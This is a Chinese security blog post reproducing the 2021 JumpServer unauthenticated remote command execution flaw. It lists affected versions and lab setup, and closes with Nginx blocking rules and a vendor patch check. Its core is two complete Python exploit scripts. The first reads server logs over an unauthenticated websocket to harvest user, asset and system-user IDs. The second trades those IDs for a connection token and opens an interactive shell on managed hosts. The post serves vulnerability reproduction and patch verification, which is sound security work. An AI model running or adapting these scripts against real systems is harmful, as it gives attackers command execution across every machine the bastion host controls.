JumpServer RCE 漏洞复现

  • A+
所属分类:安全博客

简介

JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统,通俗来说就是跳板机。JumpServer 使用 Python / Django 进行开发。

漏洞详情

2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。

影响版本

  • JumpServer < v2.6.2

  • JumpServer < v2.5.4

  • JumpServer < v2.4.5

  • JumpServer = v1.5.9

环境搭建

JumpServer v2.6.1

1
2
3
4
5
6
7
8
# 执行脚本并运行
➜ curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh| bash
➜ ./quick_start.sh
cd /opt/jumpserver-installer-v2.6.2
➜ ./jmsctl.sh start

# 如果安装版本不是 v2.6.1
➜ ./jmsctl.sh upgrade v2.6.1

访问 http://IP:8080 初始账号密码为 admin/admin

JumpServer RCE 漏洞复现

漏洞利用

利用条件

  1. 未授权的情况下能够建立 websocket 连接
  2. task 可控,可以通过 websocket 对日志文件进行读取
  3. 需要通过 /opt/jumpserver/logs/jumpserver 获取 system_useruserasset 三个 id 的值
  4. 通过这三个 id 获取一个临时 token
  5. 通过临时 token 进入 koko 的 tty,然后执行命令

JumpServer RCE 漏洞复现

漏洞脚本

运行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import asyncio
import re

import websockets
import json

url = "/ws/ops/tasks/log/"

async def main_logic(t):
print("#######start ws")
async with websockets.connect(t) as client:
await client.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
while True:
ret = json.loads(await client.recv())
print(ret["message"], end="")

if __name__ == "__main__":
host = "http://45.xx.xx.xx:8080"
target = host.replace("https://", "wss://").replace("http://", "ws://") + url
print("target: %s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(target))

获取到 assetsystem_useruser 三个ID值:

JumpServer RCE 漏洞复现

或者使用 chorme 插件读取:WebSocket Test Client

assetsystem_useruser 三个ID值填入下面脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import os
import asyncio
import aioconsole
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=1"


def get_celery_task_log_path(task_id):
task_id = str(task_id)
rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
path = os.path.join("/opt/jumpserver/", rel_path)
return path


async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)


async def send_loop(ws, session_id):
while True:
cmdline = await aioconsole.ainput()
await send_msg(
ws,
json.dumps(
{"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
),
)


async def recv_loop(ws):
while True:
recv_text = await ws.recv()
ret = json.loads(recv_text)
if ret.get("type", "TERMINAL_DATA"):
await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic():
print("#######start ws")
async with websockets.connect(target) as client:
recv_text = await client.recv()
print(f"{recv_text}")
session_id = json.loads(recv_text)["id"]
print("get ws id:" + session_id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps(
{
"id": session_id,
"type": "TERMINAL_INIT",
"data": '{"cols":164,"rows":17}',
}
)
await send_msg(client, inittext)
await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
host = "http://45.xx.xx.xx:8080"
cmd = "whoami"
if host[-1] == "/":
host = host[:-1]
print(host)
data = {"user": "eb02ebb2-62f9-43fc-8eb3-25a84ff27e95", "asset": "2bc20e9a-523d-4219-8087-75cd73bbd998",
"system_user": "bd6e6ee6-8f89-46c9-b907-58126d40dc84"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = (
"ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
)
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic())

成功获取权限:

JumpServer RCE 漏洞复现

修复建议

1、建议 JumpServer 堡垒机(含社区版及企业版)用户升级至安全版本

2、临时修复方案:

修改 Nginx 配置文件,以屏蔽漏洞接口 :

1
2
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置如下:

1
2
3
4
5
6
7
8
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf

# 新版本在
jumpserver-release/compose/config_static/http_server.conf

Nginx 配置文件实例为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
return 403;
}

location /api/v1/users/connection-token/ {
return 403;
}

# 新增以上这些
location /api/ {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://core:8080;
}

修改配置文件完毕后,重启 Nginx 服务即可

修复验证:

1
2
3
4
5
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

参考链接

FROM : lintstar.top , Author: 离沫凌天๓

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: